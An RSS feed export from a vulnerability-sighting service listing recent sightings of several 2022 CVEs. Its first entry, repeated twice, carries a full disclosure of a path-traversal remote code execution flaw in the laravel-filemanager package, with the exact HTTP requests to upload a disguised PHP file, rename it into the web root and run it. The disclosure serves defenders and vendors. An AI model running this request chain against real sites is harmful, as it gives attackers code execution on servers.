https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Wed, 07 Oct 2026 20:37:41 +0000 https://vulnerability.circl.lu/sighting/4e96c779-b423-4f22-a090-b2082ccda157/export {"uuid": "4e96c779-b423-4f22-a090-b2082ccda157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/95a849d259b0a1f9542888119faa845d", "content": "# laravel-filemanager Rename Path Traversal Remote Code Execution (v2.15.1)\n\n**CWE-22 \u00b7 Authenticated path traversal in rename \u00b7 Arbitrary file move with attacker-controlled extension, leading to remote code execution on default configuration**\n\n> **Vendor:** UniSharp (https://github.com/UniSharp)\n> **Product:** laravel-filemanager (Laravel package, https://github.com/UniSharp/laravel-filemanager)\n> **Affected version:** 2.15.1 (commit 28b491d, master as of 2026-09-28); within-root impact present in all versions\n> **Affected endpoints:** GET /filemanager/rename (route `lfm.rename`, default middleware `['web','auth']`)\n> **Disclosed via:** VulDB (submission #xxxxxx)\n> **Note:** Validation used only a harmless md5 marker payload; no credentials were extracted, and no sensitive values appear in this disclosure.\n\n## 1. Summary\n\nThe rename endpoint of laravel-filemanager accepts `working_dir`, `file` and `new_name` straight from the request and builds the destination path by raw concatenation, with no `..` filtering, `basename()` or `realpath()` anywhere in `src/`. The default configuration disables both `alphanumeric_filename` and `alphanumeric_directory` validation, and rename never re-applies the upload-side extension/mime checks. Any authenticated LFM user can therefore move an uploaded file into any directory inside the storage disk \u2014 including the web-served storage root \u2014 and choose an arbitrary extension, e.g. rename an uploaded `poc.pdf` to `../../poc.php`, which executes as PHP under the web root: authenticated remote code execution on a stock install.\n\nThis issue is distinct from the package's previously published advisories: **CVE-2022-40734** covers a path traversal in the *download* endpoint (arbitrary file read via `DownloadController`), and **CVE-2024-21546** covers a trailing-dot extension bypass in the *upload* endpoint (fixed in 2.9.1). Neither addresses the rename endpoint's arbitrary *move* with controlled extension, and v2.15.1 still contains zero `..` sanitization in `src/`.\n\n## 2. Root Cause\n\n| File | Line | Role |\n|---|---|---|\n| `src/Controllers/RenameController.php` | 17-18 | `old_name = helper->input('file')`, `new_name = helper->input('new_name')` \u2014 raw request input |\n| `src/Lfm.php` | 31-34 | `input()` returns raw request input, no sanitization |\n| `src/Controllers/RenameController.php` | 39-58 | `alphanumeric_filename`/`alphanumeric_directory` validation block \u2014 skipped entirely (both default to `false`) |\n| `src/Controllers/RenameController.php` | 63 | existence check `setName($new_name)->exists()` returns `false` for a free traversal target, so the flow proceeds |\n| `src/LfmPath.php` | 71-91, 181-198 | `path('storage')` = `getCategoryName() . normalizeWorkingDir()`; `normalizeWorkingDir()` concatenates raw `working_dir` + raw `new_name`. No `..`/`basename()`/`realpath()` filtering anywhere in `src/` |\n| `src/LfmStorageRepository.php` | 33 | sink: `$this->disk->move($this->path, $new_lfm_path->path('storage'))` \u2014 raw paths to the Flysystem disk |\n\n## 3. Prerequisites\n\n- Any authenticated LFM-enabled account (low-privilege; default middleware `['web','auth']`).\n- Package defaults (`config/lfm.php` not published): `alphanumeric_filename=false`, `alphanumeric_directory=false`, `should_validate_mime=true`, blocklist `php`/`html`.\n- A web-writable target served with PHP handling \u2014 the default `public/storage` symlink exposes the `public` disk root at `/storage`.\n- Version boundary: arbitrary move **within** the storage root (sufficient for the RCE chain) works on every version including 2.15.1 on Flysystem v2/v3. Writing **outside** the storage root additionally requires Flysystem v1 stacks (Laravel 8 and earlier), because Flysystem v2/v3 raise `PathTraversalDetected`. The demonstrated RCE does not leave the disk root.\n\n## 4. Reproduction\n\n1) Upload a PDF-wrapped PHP marker (passes the default `application/pdf` mime whitelist; a direct `.php` upload is correctly rejected \u2014 rename is the bypass that never re-validates):\n\n```http\nPOST /filemanager/upload?type=file HTTP/1.1\nHost: target\nCookie: \nX-XSRF-TOKEN: \nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"upload\"; filename=\"poc.pdf\"\nContent-Type: application/pdf\n\n%PDF-1.4\n\n%%EOF\n------poc--\n```\n\n2) Rename with `..` traversal \u2014 escape the private folder and switch the extension to `.php` in one step:\n\n```http\nGET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php HTTP/1.1\nHost: target\nCookie: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nOK\n```\n\nResult on disk: `storage/app/public/files/1/poc.pdf` is gone; `storage/app/public/poc.php` exists (web-served via the `public/storage` symlink).\n\n3) Trigger execution:\n\n```http\nGET /storage/poc.php HTTP/1.1\nHost: target\n```\n\n```http\nHTTP/1.1 200 OK\n\n%PDF-1.4\nLFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864%%EOF\n```\n\n`md5(\"poc\")` = `302fac1d6d73cf4fdf2c9919195df864` \u2014 attacker-uploaded content now executes as PHP under the web root. Scripted version: `poc/exploit.sh` (payload builder: `poc/make-payload.sh`).\n\n## 5. Confirmed Techniques\n\nVerified end-to-end on a stock install (laravel/framework 13.33.0, league/flysystem 3.36.0, PHP 8.4.26, package v2.15.1 byte-identical to commit 28b491d, default config):\n\n- Direct `.php` upload is blocked (`\"Invalid file detected\"`) \u2014 upload validation works; the `%PDF-1.4`-wrapped marker passes as `application/pdf`.\n- `GET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php` \u2192 HTTP 200; file moved to the disk root with `.php` extension, no re-validation; `GET /storage/poc.php` echoed `LFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864` = `md5(\"poc\")` \u2014 authenticated RCE.\n- Cross-user arbitrary move: `new_name=../2/planted-by-user1.php` (as user 1) wrote into user 2's private folder with an attacker-chosen name/extension (HTTP 200).\n- Cross-user listing via the same unvalidated `working_dir`: `GET /filemanager/jsonitems?type=file&working_dir=/1/../2` (as user 1) returned user 2's items \u2014 `MultiUser` middleware checks `working_dir` with `Str::startsWith()` only.\n- Root-escape probe `new_name=../../../../escape-target.txt` \u2192 HTTP 500, `League\\Flysystem\\PathTraversalDetected` on Flysystem v3; no write above the disk root. Root escape therefore requires Flysystem v1 (Laravel 8 and earlier / older LFM versions without the `flysystem >=2.0.0` composer floor that v2.15.1 has).\n\n## 6. Impact\n\nAny authenticated LFM user can plant attacker-controlled content as an arbitrary `.php` file inside the web-served storage root of a default installation, achieving remote code execution with the privileges of the web server user (low-privilege account required \u2014 `PR:L`). The same primitive enables cross-user arbitrary file moves (integrity), and on Flysystem v1 stacks extends to writes outside the storage root. Validation used a harmless marker payload only; no credentials or sensitive data were extracted.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (Base 8.8 \u2014 High)\n\n## 8. Remediation\n\n1. Normalize path segments and reject any `..` component inside `LfmPath::normalizeWorkingDir()` and `LfmPath::setName()` before any storage operation.\n2. Re-apply the upload extension/mime validation to `new_name` in `RenameController` before `move()`.\n3. Fix `MultiUser`'s `working_dir` check (normalize before comparing instead of `Str::startsWith()`).\n\n## 9. References\n\n- Project: https://github.com/UniSharp/laravel-filemanager\n- CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): https://cwe.mitre.org/data/definitions/22.html\n- Related but distinct \u2014 CVE-2022-40734 (download-endpoint read traversal): https://www.cve.org/CVERecord?id=CVE-2022-40734\n- Related but distinct \u2014 CVE-2024-21546 (upload-endpoint trailing-dot extension bypass, fixed 2.9.1): https://www.cve.org/CVERecord?id=CVE-2024-21546\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:12:58.000000Z"} {"uuid": "4e96c779-b423-4f22-a090-b2082ccda157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/95a849d259b0a1f9542888119faa845d", "content": "# laravel-filemanager Rename Path Traversal Remote Code Execution (v2.15.1)\n\n**CWE-22 \u00b7 Authenticated path traversal in rename \u00b7 Arbitrary file move with attacker-controlled extension, leading to remote code execution on default configuration**\n\n> **Vendor:** UniSharp (https://github.com/UniSharp)\n> **Product:** laravel-filemanager (Laravel package, https://github.com/UniSharp/laravel-filemanager)\n> **Affected version:** 2.15.1 (commit 28b491d, master as of 2026-09-28); within-root impact present in all versions\n> **Affected endpoints:** GET /filemanager/rename (route `lfm.rename`, default middleware `['web','auth']`)\n> **Disclosed via:** VulDB (submission #xxxxxx)\n> **Note:** Validation used only a harmless md5 marker payload; no credentials were extracted, and no sensitive values appear in this disclosure.\n\n## 1. Summary\n\nThe rename endpoint of laravel-filemanager accepts `working_dir`, `file` and `new_name` straight from the request and builds the destination path by raw concatenation, with no `..` filtering, `basename()` or `realpath()` anywhere in `src/`. The default configuration disables both `alphanumeric_filename` and `alphanumeric_directory` validation, and rename never re-applies the upload-side extension/mime checks. Any authenticated LFM user can therefore move an uploaded file into any directory inside the storage disk \u2014 including the web-served storage root \u2014 and choose an arbitrary extension, e.g. rename an uploaded `poc.pdf` to `../../poc.php`, which executes as PHP under the web root: authenticated remote code execution on a stock install.\n\nThis issue is distinct from the package's previously published advisories: **CVE-2022-40734** covers a path traversal in the *download* endpoint (arbitrary file read via `DownloadController`), and **CVE-2024-21546** covers a trailing-dot extension bypass in the *upload* endpoint (fixed in 2.9.1). Neither addresses the rename endpoint's arbitrary *move* with controlled extension, and v2.15.1 still contains zero `..` sanitization in `src/`.\n\n## 2. Root Cause\n\n| File | Line | Role |\n|---|---|---|\n| `src/Controllers/RenameController.php` | 17-18 | `old_name = helper->input('file')`, `new_name = helper->input('new_name')` \u2014 raw request input |\n| `src/Lfm.php` | 31-34 | `input()` returns raw request input, no sanitization |\n| `src/Controllers/RenameController.php` | 39-58 | `alphanumeric_filename`/`alphanumeric_directory` validation block \u2014 skipped entirely (both default to `false`) |\n| `src/Controllers/RenameController.php` | 63 | existence check `setName($new_name)->exists()` returns `false` for a free traversal target, so the flow proceeds |\n| `src/LfmPath.php` | 71-91, 181-198 | `path('storage')` = `getCategoryName() . normalizeWorkingDir()`; `normalizeWorkingDir()` concatenates raw `working_dir` + raw `new_name`. No `..`/`basename()`/`realpath()` filtering anywhere in `src/` |\n| `src/LfmStorageRepository.php` | 33 | sink: `$this->disk->move($this->path, $new_lfm_path->path('storage'))` \u2014 raw paths to the Flysystem disk |\n\n## 3. Prerequisites\n\n- Any authenticated LFM-enabled account (low-privilege; default middleware `['web','auth']`).\n- Package defaults (`config/lfm.php` not published): `alphanumeric_filename=false`, `alphanumeric_directory=false`, `should_validate_mime=true`, blocklist `php`/`html`.\n- A web-writable target served with PHP handling \u2014 the default `public/storage` symlink exposes the `public` disk root at `/storage`.\n- Version boundary: arbitrary move **within** the storage root (sufficient for the RCE chain) works on every version including 2.15.1 on Flysystem v2/v3. Writing **outside** the storage root additionally requires Flysystem v1 stacks (Laravel 8 and earlier), because Flysystem v2/v3 raise `PathTraversalDetected`. The demonstrated RCE does not leave the disk root.\n\n## 4. Reproduction\n\n1) Upload a PDF-wrapped PHP marker (passes the default `application/pdf` mime whitelist; a direct `.php` upload is correctly rejected \u2014 rename is the bypass that never re-validates):\n\n```http\nPOST /filemanager/upload?type=file HTTP/1.1\nHost: target\nCookie: \nX-XSRF-TOKEN: \nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"upload\"; filename=\"poc.pdf\"\nContent-Type: application/pdf\n\n%PDF-1.4\n\n%%EOF\n------poc--\n```\n\n2) Rename with `..` traversal \u2014 escape the private folder and switch the extension to `.php` in one step:\n\n```http\nGET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php HTTP/1.1\nHost: target\nCookie: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nOK\n```\n\nResult on disk: `storage/app/public/files/1/poc.pdf` is gone; `storage/app/public/poc.php` exists (web-served via the `public/storage` symlink).\n\n3) Trigger execution:\n\n```http\nGET /storage/poc.php HTTP/1.1\nHost: target\n```\n\n```http\nHTTP/1.1 200 OK\n\n%PDF-1.4\nLFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864%%EOF\n```\n\n`md5(\"poc\")` = `302fac1d6d73cf4fdf2c9919195df864` \u2014 attacker-uploaded content now executes as PHP under the web root. Scripted version: `poc/exploit.sh` (payload builder: `poc/make-payload.sh`).\n\n## 5. Confirmed Techniques\n\nVerified end-to-end on a stock install (laravel/framework 13.33.0, league/flysystem 3.36.0, PHP 8.4.26, package v2.15.1 byte-identical to commit 28b491d, default config):\n\n- Direct `.php` upload is blocked (`\"Invalid file detected\"`) \u2014 upload validation works; the `%PDF-1.4`-wrapped marker passes as `application/pdf`.\n- `GET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php` \u2192 HTTP 200; file moved to the disk root with `.php` extension, no re-validation; `GET /storage/poc.php` echoed `LFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864` = `md5(\"poc\")` \u2014 authenticated RCE.\n- Cross-user arbitrary move: `new_name=../2/planted-by-user1.php` (as user 1) wrote into user 2's private folder with an attacker-chosen name/extension (HTTP 200).\n- Cross-user listing via the same unvalidated `working_dir`: `GET /filemanager/jsonitems?type=file&working_dir=/1/../2` (as user 1) returned user 2's items \u2014 `MultiUser` middleware checks `working_dir` with `Str::startsWith()` only.\n- Root-escape probe `new_name=../../../../escape-target.txt` \u2192 HTTP 500, `League\\Flysystem\\PathTraversalDetected` on Flysystem v3; no write above the disk root. Root escape therefore requires Flysystem v1 (Laravel 8 and earlier / older LFM versions without the `flysystem >=2.0.0` composer floor that v2.15.1 has).\n\n## 6. Impact\n\nAny authenticated LFM user can plant attacker-controlled content as an arbitrary `.php` file inside the web-served storage root of a default installation, achieving remote code execution with the privileges of the web server user (low-privilege account required \u2014 `PR:L`). The same primitive enables cross-user arbitrary file moves (integrity), and on Flysystem v1 stacks extends to writes outside the storage root. Validation used a harmless marker payload only; no credentials or sensitive data were extracted.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (Base 8.8 \u2014 High)\n\n## 8. Remediation\n\n1. Normalize path segments and reject any `..` component inside `LfmPath::normalizeWorkingDir()` and `LfmPath::setName()` before any storage operation.\n2. Re-apply the upload extension/mime validation to `new_name` in `RenameController` before `move()`.\n3. Fix `MultiUser`'s `working_dir` check (normalize before comparing instead of `Str::startsWith()`).\n\n## 9. References\n\n- Project: https://github.com/UniSharp/laravel-filemanager\n- CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): https://cwe.mitre.org/data/definitions/22.html\n- Related but distinct \u2014 CVE-2022-40734 (download-endpoint read traversal): https://www.cve.org/CVERecord?id=CVE-2022-40734\n- Related but distinct \u2014 CVE-2024-21546 (upload-endpoint trailing-dot extension bypass, fixed 2.9.1): https://www.cve.org/CVERecord?id=CVE-2024-21546\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:12:58.000000Z"} https://vulnerability.circl.lu/sighting/4e96c779-b423-4f22-a090-b2082ccda157/export Mon, 28 Sep 2026 02:12:58 +0000 https://vulnerability.circl.lu/sighting/f3a1ae5a-e9a2-43f2-8cd4-5b712d642798/export {"uuid": "f3a1ae5a-e9a2-43f2-8cd4-5b712d642798", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b30b57ba-4519-4c50-bb94-847e39403dec", "content": "", "creation_timestamp": "2026-06-30T09:59:50.335391Z"} {"uuid": "f3a1ae5a-e9a2-43f2-8cd4-5b712d642798", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b30b57ba-4519-4c50-bb94-847e39403dec", "content": "", "creation_timestamp": "2026-06-30T09:59:50.335391Z"} https://vulnerability.circl.lu/sighting/f3a1ae5a-e9a2-43f2-8cd4-5b712d642798/export Tue, 30 Jun 2026 09:59:50 +0000 https://vulnerability.circl.lu/sighting/50bdf135-7f90-4310-85f1-602a67cf1b30/export {"uuid": "50bdf135-7f90-4310-85f1-602a67cf1b30", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a52062ee-8e06-42bd-948d-4bf02f1e9f75", "content": "", "creation_timestamp": "2026-06-23T14:04:05.433691Z"} {"uuid": "50bdf135-7f90-4310-85f1-602a67cf1b30", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a52062ee-8e06-42bd-948d-4bf02f1e9f75", "content": "", "creation_timestamp": "2026-06-23T14:04:05.433691Z"} https://vulnerability.circl.lu/sighting/50bdf135-7f90-4310-85f1-602a67cf1b30/export Tue, 23 Jun 2026 14:04:05 +0000 https://vulnerability.circl.lu/sighting/3e5ea517-becf-4370-a803-26f9c0f043d6/export {"uuid": "3e5ea517-becf-4370-a803-26f9c0f043d6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/341fa890-61c6-48ff-9ddd-13ef3124c184", "content": "", "creation_timestamp": "2026-06-19T12:47:04.194569Z"} {"uuid": "3e5ea517-becf-4370-a803-26f9c0f043d6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/341fa890-61c6-48ff-9ddd-13ef3124c184", "content": "", "creation_timestamp": "2026-06-19T12:47:04.194569Z"} https://vulnerability.circl.lu/sighting/3e5ea517-becf-4370-a803-26f9c0f043d6/export Fri, 19 Jun 2026 12:47:04 +0000 https://vulnerability.circl.lu/sighting/fbcbe4a4-d204-41ce-a4cd-8dd2ee70f30c/export {"uuid": "fbcbe4a4-d204-41ce-a4cd-8dd2ee70f30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-40735", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"} {"uuid": "fbcbe4a4-d204-41ce-a4cd-8dd2ee70f30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-40735", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"} https://vulnerability.circl.lu/sighting/fbcbe4a4-d204-41ce-a4cd-8dd2ee70f30c/export Thu, 19 Mar 2026 00:00:00 +0000 https://vulnerability.circl.lu/sighting/85ebab9e-3381-4637-9bf1-363b2dbcab9d/export {"uuid": "85ebab9e-3381-4637-9bf1-363b2dbcab9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:04.000000Z"} {"uuid": "85ebab9e-3381-4637-9bf1-363b2dbcab9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:04.000000Z"} https://vulnerability.circl.lu/sighting/85ebab9e-3381-4637-9bf1-363b2dbcab9d/export Tue, 16 Sep 2025 03:45:04 +0000 https://vulnerability.circl.lu/sighting/0cd66f79-e075-450f-a5aa-5c676ce2586f/export {"uuid": "0cd66f79-e075-450f-a5aa-5c676ce2586f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"} {"uuid": "0cd66f79-e075-450f-a5aa-5c676ce2586f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"} https://vulnerability.circl.lu/sighting/0cd66f79-e075-450f-a5aa-5c676ce2586f/export Mon, 15 Sep 2025 13:28:32 +0000 https://vulnerability.circl.lu/sighting/d80cc527-7ff9-44c4-9924-e28f0f290795/export {"uuid": "d80cc527-7ff9-44c4-9924-e28f0f290795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "https://t.me/cvedetector/13277", "content": "{\n \"Source\": \"CVE FEED\",\n \"Title\": \"CVE-2022-40733 - Windows Win32kbase.sys DirectComposition Access Violation Denial Of Service (DoS)\", \n \"Content\": \"CVE ID : CVE-2022-40733 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An access violation vulnerability exists in the DirectComposition functionality win32kbase.sys driver version 10.0.22000.593 as part of Windows 11 version 22000.593 and version 10.0.20348.643 as part of Windows Server 2022 version 20348.643. A specially-crafted set of syscalls can lead to a reboot. An unprivileged user can run specially-crafted code to trigger Denial Of Service. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n \"Detection Date\": \"19 Dec 2024\",\n \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:25:07.000000Z"} {"uuid": "d80cc527-7ff9-44c4-9924-e28f0f290795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "https://t.me/cvedetector/13277", "content": "{\n \"Source\": \"CVE FEED\",\n \"Title\": \"CVE-2022-40733 - Windows Win32kbase.sys DirectComposition Access Violation Denial Of Service (DoS)\", \n \"Content\": \"CVE ID : CVE-2022-40733 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An access violation vulnerability exists in the DirectComposition functionality win32kbase.sys driver version 10.0.22000.593 as part of Windows 11 version 22000.593 and version 10.0.20348.643 as part of Windows Server 2022 version 20348.643. A specially-crafted set of syscalls can lead to a reboot. An unprivileged user can run specially-crafted code to trigger Denial Of Service. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n \"Detection Date\": \"19 Dec 2024\",\n \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:25:07.000000Z"} https://vulnerability.circl.lu/sighting/d80cc527-7ff9-44c4-9924-e28f0f290795/export Thu, 19 Dec 2024 01:25:07 +0000 https://vulnerability.circl.lu/sighting/23a9f6f8-ba21-4518-bddb-b4991f17a7e3/export {"uuid": "23a9f6f8-ba21-4518-bddb-b4991f17a7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40732", "type": "seen", "source": "https://t.me/cvedetector/13276", "content": "{\n \"Source\": \"CVE FEED\",\n \"Title\": \"CVE-2022-40732 - Windows Win32kbase.sys DirectComposition Access Violation Vulnerability\", \n \"Content\": \"CVE ID : CVE-2022-40732 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An access violation vulnerability exists in the DirectComposition functionality win32kbase.sys driver version 10.0.22000.593 as part of Windows 11 version 22000.593 and version 10.0.20348.643 as part of Windows Server 2022 version 20348.643. A specially-crafted set of syscalls can lead to a reboot. An unprivileged user can run specially-crafted code to trigger Denial Of Service. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n \"Detection Date\": \"19 Dec 2024\",\n \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:25:03.000000Z"} {"uuid": "23a9f6f8-ba21-4518-bddb-b4991f17a7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40732", "type": "seen", "source": "https://t.me/cvedetector/13276", "content": "{\n \"Source\": \"CVE FEED\",\n \"Title\": \"CVE-2022-40732 - Windows Win32kbase.sys DirectComposition Access Violation Vulnerability\", \n \"Content\": \"CVE ID : CVE-2022-40732 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An access violation vulnerability exists in the DirectComposition functionality win32kbase.sys driver version 10.0.22000.593 as part of Windows 11 version 22000.593 and version 10.0.20348.643 as part of Windows Server 2022 version 20348.643. A specially-crafted set of syscalls can lead to a reboot. An unprivileged user can run specially-crafted code to trigger Denial Of Service. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n \"Detection Date\": \"19 Dec 2024\",\n \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:25:03.000000Z"} https://vulnerability.circl.lu/sighting/23a9f6f8-ba21-4518-bddb-b4991f17a7e3/export Thu, 19 Dec 2024 01:25:03 +0000 https://vulnerability.circl.lu/sighting/533899e8-3a3e-400f-aa09-f64bf6c1e760/export {"uuid": "533899e8-3a3e-400f-aa09-f64bf6c1e760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676224990939956", "content": "", "creation_timestamp": "2024-12-18T22:38:59.110925Z"} {"uuid": "533899e8-3a3e-400f-aa09-f64bf6c1e760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676224990939956", "content": "", "creation_timestamp": "2024-12-18T22:38:59.110925Z"} https://vulnerability.circl.lu/sighting/533899e8-3a3e-400f-aa09-f64bf6c1e760/export Wed, 18 Dec 2024 22:38:59 +0000